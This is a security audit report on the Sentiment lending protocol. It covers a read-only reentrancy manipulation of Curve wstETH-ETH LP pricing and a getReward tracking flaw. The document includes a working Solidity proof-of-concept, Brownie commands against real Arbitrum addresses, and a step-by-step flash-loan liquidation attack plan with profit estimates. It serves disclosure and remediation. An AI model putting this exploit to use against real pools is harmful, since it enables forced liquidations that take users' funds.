



SHERLOCK

SHERLOCK SECURITY REVIEW FOR



Prepared for:

Sentiment

Prepared by:

Sherlock

Lead Security Expert:

WATCHPUG

Dates Audited:

November 28 - December 1, 2022

Prepared on:

December 14, 2022

Introduction

Sentiment is a permissionless undercollateralised onchain credit protocol that allows users to lend and borrow assets with increased capital efficiency and deploy them across DeFi.

Scope

Changes made after the Sentiment and Sentiment Update contest:

PRs since last Sentiment contest:

1. <https://github.com/sentimentxyz/oracle/pull/47>
2. <https://github.com/sentimentxyz/controller/pull/50>
3. <https://github.com/sentimentxyz/controller/pull/51>
4. <https://github.com/sentimentxyz/oracle/pull/48>

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

| Medium | High |
|--------|------|
| 1 | 1 |

Issues not fixed or acknowledged

| Medium | High |
|--------|------|
| 0 | 0 |

Security experts who found valid issues



GalloDaSballo

Bahurum

WATCHPUG



Issue H-1: H-01 wstETH-ETH Curve LP Token Price can be manipulated to Cause Unexpected Liquidations

Source: <https://github.com/sherlock-audit/2022-12-sentiment-judging/issues/7>

Found by

Bahurum, GalloDaSballo

Summary

The wstETH-ETH LP token is priced via its virtual_price

Through what Chainalysis called View only Reentrancy, we can reduce the value of virtual_price, causing the RiskEngine to trigger a liquidation event.

Vulnerability Detail

Per some testing I made, we know that the Debt for such an account will be denominated in WETH, this price cannot be tampered.

However, the price of the ETH-wstETH LP Token can be manipulated by calling the RiskEngine while reEntering from the `P00L.remove_liquidity` function.

This is possible because the function will send ETH first, before updating its internal wstETH balances.

To test the maximum impact I simulated borrowing an infinite amount of WETH (by impersonating the GMX Vault).

If that amount of ETH were available on Arbitrum, we can achieve over 10x in price suppression, effectively making any "normal" account instantly liquidatable.

The estimated cost of the attack is 60 BPS of the total ETH used (due to price impact)

Impact

Because of the price manipulation, we can trigger unfair liquidations to our advantage, because the cost of manipulation is in the 50BPS range, any time a big enough deposit is made, it becomes profitable to force liquidate them.

In the theoretical scenario shown below (borrowing from GMX Vault), I can effectively liquidate any account using the token. A more pragmatic scenario is listed below as well



Code Snippet

Below a simulation showing how to achieve the Virtual Price Manipulation, the last piece of the attack would be to call liquidate on an account while re-entering

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

import {IERC20} from "@oz/token/ERC20/IERC20.sol";
import {SafeERC20} from "@oz/token/ERC20/utils/SafeERC20.sol";
import {ReentrancyGuard} from "@oz/security/ReentrancyGuard.sol";

interface IAccount {
    function getAssets() external view returns (address[] memory);
    function getBorrows() external view returns (address[] memory);
}

interface IRiskEngine {
    function getBalance(address account) external view returns (uint);
    function getBorrows(address account) external view returns (uint);
}

interface ISentimentCore {
    function riskEngine() external view returns (address);
}

interface ICurvePool {
    function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount)
    ↪ external payable returns (uint256);
    function remove_liquidity(uint256 amount, uint256[2] memory min_amounts)
    ↪ external returns (uint256);
    function get_virtual_price() external view returns (uint256);
}

interface ILP {
    function balanceOf(address) external view returns (uint256);
}

contract VirtualPriceManip {
    ICurvePool POOL = ICurvePool(0x6eB2dc694eB516B16Dc9FBc678C60052BbdD7d80);
    ILP LP = ILP(0xDbcd16e622c95AcB2650b38eC799f76BFC557a0b);
    ILP WSTETH = ILP(0x5979D7b546E38E414F7E9822514be443A4800529);
    // Get WETH

    // Check Virtual Price

    // Deposit into Curve
```



```

// Check Virtual Price

// Withdraw, and ReEnter

// Check Virtual Price

// End, Check Virtual Price

event Debug(string name, uint256 value);

function fakeSentimentPrice() internal returns (uint256){
    uint256 FAKE_WETH_PRICE = 1e18;
    return FAKE_WETH_PRICE * POOL.get_virtual_price() / 1e18;
}

function startAttack() external payable {
    uint256 amt = msg.value;

    // 1. Check Virtual Price
    emit Debug("Virtual Price 1", POOL.get_virtual_price());
    emit Debug("fakeSentimentPrice 1", fakeSentimentPrice());

    // 2. Curve deposit
    uint256[2] memory dep = [amt, 0];
    POOL.add_liquidity{value: amt}(dep, 1);

    // 3. Check Virtual Price
    emit Debug("Virtual Price 3", POOL.get_virtual_price());
    emit Debug("fakeSentimentPrice 3", fakeSentimentPrice());

    // 4. Curve Withdraw
    // TODO: This is where profit maximization math will be necessary
    uint256[2] memory dep2 = [uint256(0), uint256(0)];
    POOL.remove_liquidity(LP.balanceOf(address(this)), dep2);

    // 6. Check Virtual Price
    emit Debug("Virtual Price 6", POOL.get_virtual_price());
    emit Debug("fakeSentimentPrice 6", fakeSentimentPrice());

    // TODO: Check loss in ETH and compare vs wstETH we now have
    // Loss is there, but should be marginal / imbalance + fees
    emit Debug("Msg.value", msg.value);
    emit Debug("This Balance", address(this).balance);
    emit Debug("Delta", msg.value - address(this).balance);

    emit Debug("WstEthBalance", WSTETH.balanceOf(address(this)));
}

```



```

receive() external payable {
    // 5. Reenter here

    // Check Virtual Price
    emit Debug("Virtual Price 5", POOL.get_virtual_price());
    emit Debug("fakeSentimentPrice 5", fakeSentimentPrice());
}
}

```

Here the Brownie Console for the maximum theoretical attack

```

weth = Contract.from_explorer("0x82aF49447D8a07e3bd95BD0d56f35241523fBab1")
whale = accounts.at("0x489ee077994b6658eafa855c308275ead8097c4a", force=True)

weth.transfer(a[0], weth.balanceOf(whale), {"from": whale})
weth.withdraw(weth.balanceOf(a[0]), {"from": a[0]})
c = VirtualPriceManip.deploy({"from": a[0]})
c.startAttack({"from": a[0], "value": a[0].balance() * 99 / 100})

Fetching source of 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1 from
↳ api.arbiscan.io...
Fetching source of 0x8b194bEae1d3e0788A1a35173978001ACDFba668 from
↳ api.arbiscan.io...
Transaction sent:
↳ 0x69a4ee6fba72894d2e6c7ba556a6df8bb2159981e09b7dd947283368628baefa
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 1
TransparentUpgradeableProxy.transfer confirmed Block: 42567825 Gas used:
↳ 39080 (0.20%)

Transaction sent:
↳ 0xfecb0db00b3db0b7b6cf22bc1adc92d16169060ead3a9c13f88a19b0c57fd666
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 0
TransparentUpgradeableProxy.withdraw confirmed Block: 42567826 Gas used:
↳ 30937 (0.15%)

Transaction sent:
↳ 0x198d4b73e7def112903606efa77c0add9910e7f3e86186e310a0adbfec0adebc
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 1
VirtualPriceManip.constructor confirmed Block: 42567827 Gas used: 647070
↳ (3.24%)
VirtualPriceManip deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6

Transaction sent:
↳ 0x101e212ca64ed3fc6595c15c30706a8075a010ed866ba5b230cb494f9ac20c5c
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 2
VirtualPriceManip.startAttack confirmed Block: 42567828 Gas used: 354622
↳ (1.77%)

```



```
>>> history[-1].events
{'Debug': [OrderedDict([('name', 'Virtual Price 1'), ('value',
↳ 1005466150529603227)]), OrderedDict([('name', 'fakeSentimentPrice 1'),
↳ ('value', 1005466150529603227)]), OrderedDict([('name', 'Virtual Price 3'),
↳ ('value', 1005678057072654996)]), OrderedDict([('name', 'fakeSentimentPrice
↳ 3'), ('value', 1005678057072654996)]), OrderedDict([('name', 'Virtual Price
↳ 5'), ('value', 93457469619424556)]), OrderedDict([('name',
↳ 'fakeSentimentPrice 5'), ('value', 93457469619424556)]),
↳ OrderedDict([('name', 'Virtual Price 6'), ('value', 1005678057072654996)]),
↳ OrderedDict([('name', 'fakeSentimentPrice 6'), ('value',
↳ 1005678057072654996)]), OrderedDict([('name', 'Msg.value'), ('value',
↳ 86826027227418610000000)]), OrderedDict([('name', 'This Balance'), ('value',
↳ 83541864626282883099978)]), OrderedDict([('name', 'Delta'), ('value',
↳ 3284162601135726900022)]), OrderedDict([('name', 'WstEthBalance'), ('value',
↳ 2736183720644597163208)]), 'Transfer': [OrderedDict([('_from',
↳ '0x0000000000000000000000000000000000000000000000000000000000000000'),
↳ ('_to',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('_value',
↳ 81436145961234587181162)]), OrderedDict([('from',
↳ '0x6eB2dc694eB516B16Dc9FBc678C60052BbdD7d80'), ('to',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('value',
↳ 2736183720644597163208)]), OrderedDict([('_from',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('_to',
↳ '0x0000000000000000000000000000000000000000000000000000000000000000'),
↳ ('_value',
↳ 81436145961234587181162)]), 'AddLiquidity': [OrderedDict([('provider',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('token_amounts',
↳ (86826027227418610000000, 0)), ('fees', (11884971933620921875,
↳ 9942362504203593908)), ('invariant', 86698045640581035174753),
↳ ('token_supply', 86190407433150506590178)]), 'RemoveLiquidity':
↳ [OrderedDict([('provider', '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'),
↳ ('token_amounts', (83541864626282883099978, 2736183720644597163208)),
↳ ('fees', (0, 0)), ('token_supply', 4754261471915919409016)])]}]
```

```
>>> 93457469619424556 / 1005466150529603227 * 100
9.294939423887941
```

```
>>> 93457469619424556 / 1005466150529603227 * 100
9.294939423887941
```

```
>>> eth_to_convert = 2736183720644597163208 * 1.08
```

```
>>> 3284162601135726900022 - eth_to_convert
3.290841828395613e+20
```

```
>>> 3.290841828395613e+20 / 86826027227418610000000 * 100
```

```
## 37 BPS to perform the attack, remaining costs would bring it up to around 50
↳ BPS (swap wstETH, cost of liquidations, etc..)
0.3790155939964975
```

```
## See `fakeSentiment5` vs `fakeSentimen1`
```




```
>>> 93457469619424556 / 1005466150529603227 * 100
9.294939423887941
```

```
"""
```

```
Price is 9% of it's original value, we achieve a 10X price depreciation,
↳ allowing us to liquidate any user that has taken minimal leverage
```

```
"""
```

Tool used

Manual Review

Recommendation

At this time, I would recommend NOT to use the ETH-stETH LP Token as the price is manipulatable. The only rational way I could expect this to be solved is for Chainlink to offer virtual_price oracles, or the development of a TWAP for the virtual_price.

Additional Considerations

The theoretical maximum attack allows to effectively liquidate any account that uses the stETH-WETH Pool.

In practice, via an AAVE Flashloan I'm able to borrow up to 14.5k WETH, which allows to move the price by over 11%, meaning that some accounts, that are levered at around 90% could be unfairly liquidated.

```
>>> history[-1].events
```



```
{'Debug': [OrderedDict([('name', 'Virtual Price 1'), ('value',  
→ 1005466094471744332)]), OrderedDict([('name', 'fakeSentimentPrice 1'),  
→ ('value', 1005466094471744332)]), OrderedDict([('name', 'Virtual Price 3'),  
→ ('value', 1005497298777214105)]), OrderedDict([('name', 'fakeSentimentPrice  
→ 3'), ('value', 1005497298777214105)]), OrderedDict([('name', 'Virtual Price  
→ 5'), ('value', 890315892210177531)]), OrderedDict([('name',  
→ 'fakeSentimentPrice 5'), ('value', 890315892210177531)]),  
→ OrderedDict([('name', 'Virtual Price 6'), ('value', 1005497298777214105)]),  
→ OrderedDict([('name', 'fakeSentimentPrice 6'), ('value',  
→ 1005497298777214105)]), OrderedDict([('name', 'Msg.value'), ('value',  
→ 145233000000000000000000)], OrderedDict([('name', 'This Balance'), ('value',  
→ 713314090131700921245)]), OrderedDict([('name', 'Delta'), ('value',  
→ 739015909868299078755)]), OrderedDict([('name', 'WstEthBalance'), ('value',  
→ 677574531693017948098)]]], 'Transfer': [OrderedDict([('_from',  
→ '0x0000000000000000000000000000000000000000000000000000000000000000'), ('_to',  
→ '0xE7eD6747FaC5360f88a2EFC03E00d25789F69291'), ('_value',  
→ 1449753409949781400798)]), OrderedDict([('from',  
→ '0x6eB2dc694eB516B16Dc9FBc678C60052BbdD7d80'), ('to',  
→ '0xE7eD6747FaC5360f88a2EFC03E00d25789F69291'), ('value',  
→ 677574531693017948098)]), OrderedDict([('_from',  
→ '0xE7eD6747FaC5360f88a2EFC03E00d25789F69291'), ('_to',  
→ '0x0000000000000000000000000000000000000000000000000000000000000000'), ('_value',  
→ 1449753409949781400798)]]], 'AddLiquidity': [OrderedDict([('provider',  
→ '0xE7eD6747FaC5360f88a2EFC03E00d25789F69291'), ('token_amounts',  
→ (14523300000000000000000000, 0)), ('fees', (192842135570862938,  
→ 176890872766115807)), ('invariant', 6238313797265075968081),  
→ ('token_supply', 6204014881865700809814)]]], 'RemoveLiquidity':  
→ [OrderedDict([('provider', '0xE7eD6747FaC5360f88a2EFC03E00d25789F69291'),  
→ ('token_amounts', (713314090131700921245, 677574531693017948098)), ('fees',  
→ (0, 0)), ('token_supply', 4754261471915919409016)]]])}  
  
>>> 890315892210177531 / 1005466094471744332  
  
##Around 11.2% Price Manipulation with 14.5k ETH used  
0.8854757978467043
```

To put it in simple terms, the cost of this attack is around \$90k and it will be profitable to liquidate any position above \$100k

Discussion

Evert0x

Comment from WatchPug (lead senior)

We find the issue to be valid.

However, the economics of the attack may not be profitable, and the preconditions and requirements for such an attack can be narrow. We also believe that flashloans cannot be utilized as the entrance for the



attack: `P00L.remove_liquidity()` will add a reentrancy lock which prevents `remove_liquidity()` on the liquidation impounded `lpToken` assets.

As the revenue/profit from such an attack cannot be used to repay the loan within the same block, flashloans cannot be used.

Although the impact is high we judge the issue to be medium severity because of the requirements and conditions described in the comment from WatchPug.

bahurum

Escalate for 50 USDC. I believe the issue has been downgraded incorrectly to medium severity. The lead senior watson justifies the downgrading with 2 arguments, which I would like to dispute both.

1. **The attack may not be profitable and needs narrow preconditions:** The attack is profitable as in the `Additional Considerations` section, the watson shows by mistake the impact of a 1452 ETH loan instead of 14520 ETH flash-borrowable from Aave on arbitrum (see 'Msg.value' field in debug log). With 14.5k ETH the virtual price would be reduced by 45%, which is much more than 11%. Any account holding a substantial amount of this curve LP and with risky margin will be liquidated (for example if 50 % of collateral is WstETH-ETH curve LP and margin is 20% it will be liquidated). Here is a realistic attack scenario:
 - The accounts holding the LP token amount to 2M \$ in total value and half of them (1M \$ value) can be liquidated with 40% manipulation of the LP price
 - Attacker flash borrows 14k WETH (17M \$) and converts to ETH
 - Attacker calls `add_liquidity` with 16M \$ worth of ETH, keeps 1M \$ for liquidations
 - Attacker calls `remove_liquidity` with all LP obtained
 - On reentrant call:
 - swaps 1M \$ for the required tokens needed for liquidation
 - liquidates accounts and gets an average liquidation premium of at least 20%, so 200k \$ in total
 - Exit call to attacker's `fallback` or `receive` function
 - Execution of call to `remove_liquidity` resumes and finishes
 - Attacker swaps 200k \$ worth of stolen tokens back to ETH. Note that WstETH-ETH LP stolen can also be swapped back to ETH since the call to `remove_liquidity` is already exited.



- Repay the flashloan and profit. Cost of pool imbalance + loan is around 0.5 % as shown in the PoC, so about 85k \$. Profit is at least 100k \$ in this scenario. The attacker doesn't need to provide any funds up front.

2. **flashloans cannot be utilized as the entrance for the attack:** This is not true since the WstETH-ETH LP tokens are sent to the attacker during liquidation, which occurs during the call to `remove_liquidity`, but they can be swapped back to ETH after the end of the call to `remove_liquidity` and before the end of the tx. So there is no reentrancy in `remove_liquidity` in this attack. See the scenario above.

In addition, this bug is well known and probably calls to the pool's `get_virtual_price` are being scanned to find vulnerable contracts, so black hats would have noticed the bug very soon.

Finally, and not related to the escalation, I would like to suggest again a fix as I made some confusion when I suggested it in my own submission:

```
function getPrice(address token) external view returns (uint) {
    ICurvePool pool = ICurveLP(token).minter();
+   uint256[2] calldata amounts;
+   pool.remove_liquidity(0, amounts);
    address coin;
    uint price;
    uint minPrice = oracleFacade.getPrice(WETH);
    for(uint i; i<N_COINS; i++) {
        coin = pool.coins(i);
        if (coin != ETH) {
            price = oracleFacade.getPrice(coin);
            minPrice = (price < minPrice) ? price : minPrice;
        }
    }

    return minPrice.mulWadDown(pool.get_virtual_price());
}
```

sherlock-admin

Escalate for 50 USDC. I believe the issue has been downgraded incorrectly to medium severity. The lead senior watson justifies the downgrading with 2 arguments, which I would like to dispute both.

1. **The attack may not be profitable and needs narrow preconditions:** The attack is profitable as in the Additional Considerations section, the watson shows by mistake the impact of a 1452 ETH loan instead of 14520 ETH flash-borrowable from Aave on arbitrum (see 'Msg.value' field in debug log). With 14.5k ETH the virtual price would be reduced by 45%, which is much more than 11%. Any



account holding a substantial amount of this curve LP and with risky margin will be liquidated (for example if 50 % of collateral is WstETH-ETH curve LP and margin is 20% it will be liquidated). Here is a realistic attack scenario:

- The accounts holding the LP token amount to 2M \$ in total value and half of them (1M \$ value) can be liquidated with 40% manipulation of the LP price
- Attacker flash borrows 14k WETH (17M \$) and converts to ETH
- Attacker calls `add_liquidity` with 16M \$ worth of ETH, keeps 1M \$ for liquidations
- Attacker calls `remove_liquidity` with all LP obtained
- On reentrant call:
 - swaps 1M \$ for the required tokens needed for liquidation
 - liquidates accounts and gets an average liquidation premium of at least 20%, so 200k \$ in total
- Exit call to attacker's `fallback` or `receive` function
- Execution of call to `remove_liquidity` resumes and finishes
- Attacker swaps 200k \$ worth of stolen tokens back to ETH. Note that WstETH-ETH LP stolen can also be swapped back to ETH since the call to `remove_liquidity` is already exited.
- Repay the flashloan and profit. Cost of pool imbalance + loan is around 0.5 % as shown in the PoC, so about 85k \$. Profit is at least 100k \$ in this scenario. The attacker doesn't need to provide any funds up front.

2. **flashloans cannot be utilized as the entrance for the attack:** This is not true since the WstETH-ETH LP tokens are sent to the attacker during liquidation, which occurs during the call to `remove_liquidity`, but they can be swapped back to ETH after the end of the call to `remove_liquidity` and before the end of the tx. So there is no reentrancy in `remove_liquidity` in this attack. See the scenario above.

In addition, this bug is well known and probably calls to the pool's `get_virtual_price` are being scanned to find vulnerable contracts, so black hats would have noticed the bug very soon.

Finally, and not related to the escalation, I would like to suggest again a fix as I made some confusion when I suggested it in my own submission:



```

function getPrice(address token) external view returns (uint) {
    ICurvePool pool = ICurveLP(token).minter();
+   uint256[2] calldata amounts;
+   pool.remove_liquidity(0, amounts);
    address coin;
    uint price;
    uint minPrice = oracleFacade.getPrice(WETH);
    for(uint i; i<N_COINS; i++) {
        coin = pool.coins(i);
        if (coin != ETH) {
            price = oracleFacade.getPrice(coin);
            minPrice = (price < minPrice) ? price : minPrice;
        }
    }

    return minPrice.mulWadDown(pool.get_virtual_price());
}

```

You've created a valid escalation for 50 USDC!

To remove the escalation from consideration: Delete your comment. To change the amount you've staked on this escalation: Edit your comment **(do not create a new comment)**.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

GalloDaSbello

Escalate for 50 USDC. In solidarity to my colleague, I re-ran my POC with whale being set to aWETH and you can see that the price impact is closer to 50%

```

>>> weth = Contract.from_explorer("0x82aF49447D8a07e3bd95BD0d56f35241523fBab1")
whale = accounts.at("0xe50fA9b3c56FfB159cB0FCA61F5c9D750e8128c8", force=True)
Fetching source of 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1 from
↳ api.arbiscan.io...
Fetching source of 0x8b194bEae1d3e0788A1a35173978001ACDFba668 from
↳ api.arbiscan.io...
>>> weth.transfer(a[0], weth.balanceOf(whale), {"from": whale})
weth.withdraw(weth.balanceOf(a[0]), {"from": a[0]})
c = VirtualPriceManip.deploy({"from": a[0]})
c.startAttack({"from": a[0], "value": a[0].balance() * 99 / 100})
Transaction sent:
↳ 0x986059eeea98f64537fc18f576080d9df04a3b1d14566f3f11106d1f443c2a62e
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 1
TransparentUpgradeableProxy.transfer confirmed Block: 45350953 Gas used:
↳ 39080 (0.20%)

```



```
Transaction sent:
↳ 0x3aa0e109cf7f7983b6c4123a8befacda921f93969c7f1185e9175d2ad9bfc44c
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 0
TransparentUpgradeableProxy.withdraw confirmed Block: 45350954 Gas used:
↳ 30937 (0.15%)

Transaction sent:
↳ 0xe4df2473de3a73a7a56b17cdf5acec0cd523f713fcfbbe80a40261f6519a74a3
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 1
VirtualPriceManip.constructor confirmed Block: 45350955 Gas used: 647058
↳ (3.24%)
VirtualPriceManip deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6

Transaction sent:
↳ 0xa3f759c1c16dffaldfdc90faceb384d37aa462de39d01dc73ec55ac909f2d27d
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 2
VirtualPriceManip.startAttack confirmed Block: 45350956 Gas used: 346696
↳ (1.73%)

>>> history[-1].events
```



```
{'Debug': [OrderedDict([('name', 'Virtual Price 1'), ('value',
↳ 1006386728989215731)]), OrderedDict([('name', 'fakeSentimentPrice 1'),
↳ ('value', 1006386728989215731)]), OrderedDict([('name', 'Virtual Price 3'),
↳ ('value', 1006460432180341199)]), OrderedDict([('name', 'fakeSentimentPrice
↳ 3'), ('value', 1006460432180341199)]), OrderedDict([('name', 'Virtual Price
↳ 5'), ('value', 566156151085517748)]), OrderedDict([('name',
↳ 'fakeSentimentPrice 5'), ('value', 566156151085517748)]),
↳ OrderedDict([('name', 'Virtual Price 6'), ('value', 1006460432180341199)]),
↳ OrderedDict([('name', 'fakeSentimentPrice 6'), ('value',
↳ 1006460432180341199)]), OrderedDict([('name', 'Msg.value'), ('value',
↳ 9242544511373299000000)]), OrderedDict([('name', 'This Balance'), ('value',
↳ 6887807551730873474275)]), OrderedDict([('name', 'Delta'), ('value',
↳ 2354736959642425525725)]), OrderedDict([('name', 'WstEthBalance'), ('value',
↳ 2124028976089901491510)]], 'Transfer': [OrderedDict([('from',
↳ '0x0000000000000000000000000000000000000000000000000000000000000000'), ('to',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('_value',
↳ 9136530630863310092133)]), OrderedDict([('from',
↳ '0x6eB2dc694eB516B16Dc9FBc678C60052BbdD7d80'), ('to',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('value',
↳ 2124028976089901491510)]), OrderedDict([('from',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('to',
↳ '0x0000000000000000000000000000000000000000000000000000000000000000'), ('_value',
↳ 9136530630863310092133)]], 'AddLiquidity': [OrderedDict([('provider',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('token_amounts',
↳ (9242544511373299000000, 0)), ('fees', (1143210375408757286,
↳ 1031913016221942347)), ('invariant', 15635314996650963717127),
↳ ('token_supply', 15533814948437161604759)]], 'RemoveLiquidity':
↳ [OrderedDict([('provider', '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'),
↳ ('token_amounts', (6887807551730873474275, 2124028976089901491510)),
↳ ('fees', (0, 0)), ('token_supply', 6397284317573851512626)]])}]}
```

More specifically a 43% loss of value, which would put at risk a sizeable group of normally levered users:

$$\frac{1006386728989215731}{566156151085517748} \cdot 1.777578018113242 (1006386728989215731 - 566156151085517748) / 1006386728989215731 \cdot 100 = 43.743678769080375\%$$

Also agree with my colleague that once the liquidation is successful, we can exit the re-entered state and then settle once the POOL.D is back to normal, allowing for some price impact (60BPS on estimate), but still profiting by a great margin

sherlock-admin

Escalate for 50 USDC. In solidarity to my colleague, I re-ran my POC with whale being set to aWETH and you can see that the price impact is closer to 50%




```

>>> weth =
↳ Contract.from_explorer("0x82aF49447D8a07e3bd95BD0d56f35241523fBab1")
whale = accounts.at("0xe50fA9b3c56FfB159cB0FCA61F5c9D750e8128c8",
↳ force=True)
Fetching source of 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1 from
↳ api.arbiscan.io...
Fetching source of 0x8b194bEae1d3e0788A1a35173978001ACDFba668 from
↳ api.arbiscan.io...
>>> weth.transfer(a[0], weth.balanceOf(whale), {"from": whale})
weth.withdraw(weth.balanceOf(a[0]), {"from": a[0]})
c = VirtualPriceManip.deploy({"from": a[0]})
c.startAttack({"from": a[0], "value": a[0].balance() * 99 / 100})
Transaction sent:
↳ 0x986059eea98f64537fc18f576080d9df04a3b1d14566f3f11106d1f443c2a62e
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 1
TransparentUpgradeableProxy.transfer confirmed Block: 45350953 Gas
↳ used: 39080 (0.20%)

Transaction sent:
↳ 0x3aa0e109cf7f7983b6c4123a8befacda921f93969c7f1185e9175d2ad9bfc44c
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 0
TransparentUpgradeableProxy.withdraw confirmed Block: 45350954 Gas
↳ used: 30937 (0.15%)

Transaction sent:
↳ 0xe4df2473de3a73a7a56b17cdf5acec0cd523f713fcfbbe80a40261f6519a74a3
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 1
VirtualPriceManip.constructor confirmed Block: 45350955 Gas used:
↳ 647058 (3.24%)
VirtualPriceManip deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6

Transaction sent:
↳ 0xa3f759c1c16dffaf1dfdc90faceb384d37aa462de39d01dc73ec55ac909f2d27d
Gas price: 0.0 gwei Gas limit: 20000000 Nonce: 2
VirtualPriceManip.startAttack confirmed Block: 45350956 Gas used:
↳ 346696 (1.73%)

>>> history[-1].events

```



```
{'Debug': [OrderedDict([('name', 'Virtual Price 1'), ('value',
↳ 1006386728989215731)]), OrderedDict([('name', 'fakeSentimentPrice 1'),
↳ ('value', 1006386728989215731)]), OrderedDict([('name', 'Virtual Price
↳ 3'), ('value', 1006460432180341199)]), OrderedDict([('name',
↳ 'fakeSentimentPrice 3'), ('value', 1006460432180341199)]),
↳ OrderedDict([('name', 'Virtual Price 5'), ('value',
↳ 566156151085517748)]), OrderedDict([('name', 'fakeSentimentPrice 5'),
↳ ('value', 566156151085517748)]), OrderedDict([('name', 'Virtual Price
↳ 6'), ('value', 1006460432180341199)]), OrderedDict([('name',
↳ 'fakeSentimentPrice 6'), ('value', 1006460432180341199)]),
↳ OrderedDict([('name', 'Msg.value'), ('value',
↳ 9242544511373299000000)]), OrderedDict([('name', 'This Balance'),
↳ ('value', 6887807551730873474275)]), OrderedDict([('name', 'Delta'),
↳ ('value', 2354736959642425525725)]), OrderedDict([('name',
↳ 'WstEthBalance'), ('value', 2124028976089901491510)]), 'Transfer':
↳ [OrderedDict([('from', '0x0000000000000000000000000000000000'),
↳ ('to', '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('value',
↳ 9136530630863310092133)]), OrderedDict([('from',
↳ '0x6eB2dc694eB516B16Dc9FBc678C60052BbdD7d80'), ('to',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('value',
↳ 2124028976089901491510)]), OrderedDict([('from',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('to',
↳ '0x0000000000000000000000000000000000'), ('value',
↳ 9136530630863310092133)]), 'AddLiquidity': [OrderedDict([('provider',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('token_amounts',
↳ (9242544511373299000000, 0)), ('fees', (1143210375408757286,
↳ 1031913016221942347)), ('invariant', 15635314996650963717127),
↳ ('token_supply', 15533814948437161604759)]), 'RemoveLiquidity':
↳ [OrderedDict([('provider',
↳ '0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6'), ('token_amounts',
↳ (6887807551730873474275, 2124028976089901491510)), ('fees', (0, 0)),
↳ ('token_supply', 6397284317573851512626)]), ]}]}
```

More specifically a 43% loss of value, which would put at risk a sizeable group of normally levered users:

$$1006386728989215731 / 566156151085517748 \\ 1.777578018113242 (1006386728989215731 - \\ 566156151085517748) / 1006386728989215731 \\ * 100 \text{ 43.743678769080375}$$

Also agree with my colleague that once the liquidation is successful, we can exit the re-entered state and then settle once the POOL.D is back to normal, allowing for some price impact (60BPS on estimate), but still profiting by a great margin

You've created a valid escalation for 50 USDC!



To remove the escalation from consideration: Delete your comment. To change the amount you've staked on this escalation: Edit your comment **(do not create a new comment)**.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

hrishibhat

Escalation accepted

Based on comments & POC in the escalations, the judges consulted the Lead senior and concluded that this issue is a valid high.

sherlock-admin

Escalation accepted

Based on comments & POC in the escalations, the judges consulted the Lead senior and concluded that this issue is a valid high.

This issue's escalations have been accepted!

Contestants' payouts and scores will be updated according to the changes made on this issue.



Issue M-1: [WP-M1] getRewards() can be triggered by external parties which will result in the rewards not be tracking properly by the system

Source: <https://github.com/sherlock-audit/2022-12-sentiment-judging/issues/15>

Found by

WATCHPUG

Summary

ConvexRewardPool#getReward(address) can be called by any address besides the owner themselves.

Vulnerability Detail

The reward tokens will only be added to the assets list when `getReward()` is called.

If there is a third party that is "helping" the account to call `getReward()` from time to time, by keeping the value of unclaimed rewards low, the account owner may not have the motivation to take the initiative to call `getReward()` via the `AccountManager`.

As a result, the reward tokens may never get added to the account's assets list.

Impact

If the helper/attacker continuously claims the rewards on behalf of the victim, the rewards will not be accounted for in the victim's total assets.

As a result, the victim's account can be liquidated while actual there are enough assets in their account, it is just that these are not accounted for.

Code Snippet

<https://github.com/sentimentxyz/controller/blob/507274a0803ceaa3cbbaf2a696e2458e18437b2f/src/convex/ConvexBoosterController.sol#L31-L46>

<https://arbiscan.io/address/0x63F00F688086F0109d586501E783e33f2C950e78>

Tool used

Manual Review



Recommendation

Consider adding all the reward tokens to the account's assets list in `ConvexBoosterController.sol#canDeposit()`.

Discussion

r0ohafza

fix: <https://github.com/sentimentxyz/controller/pull/54>

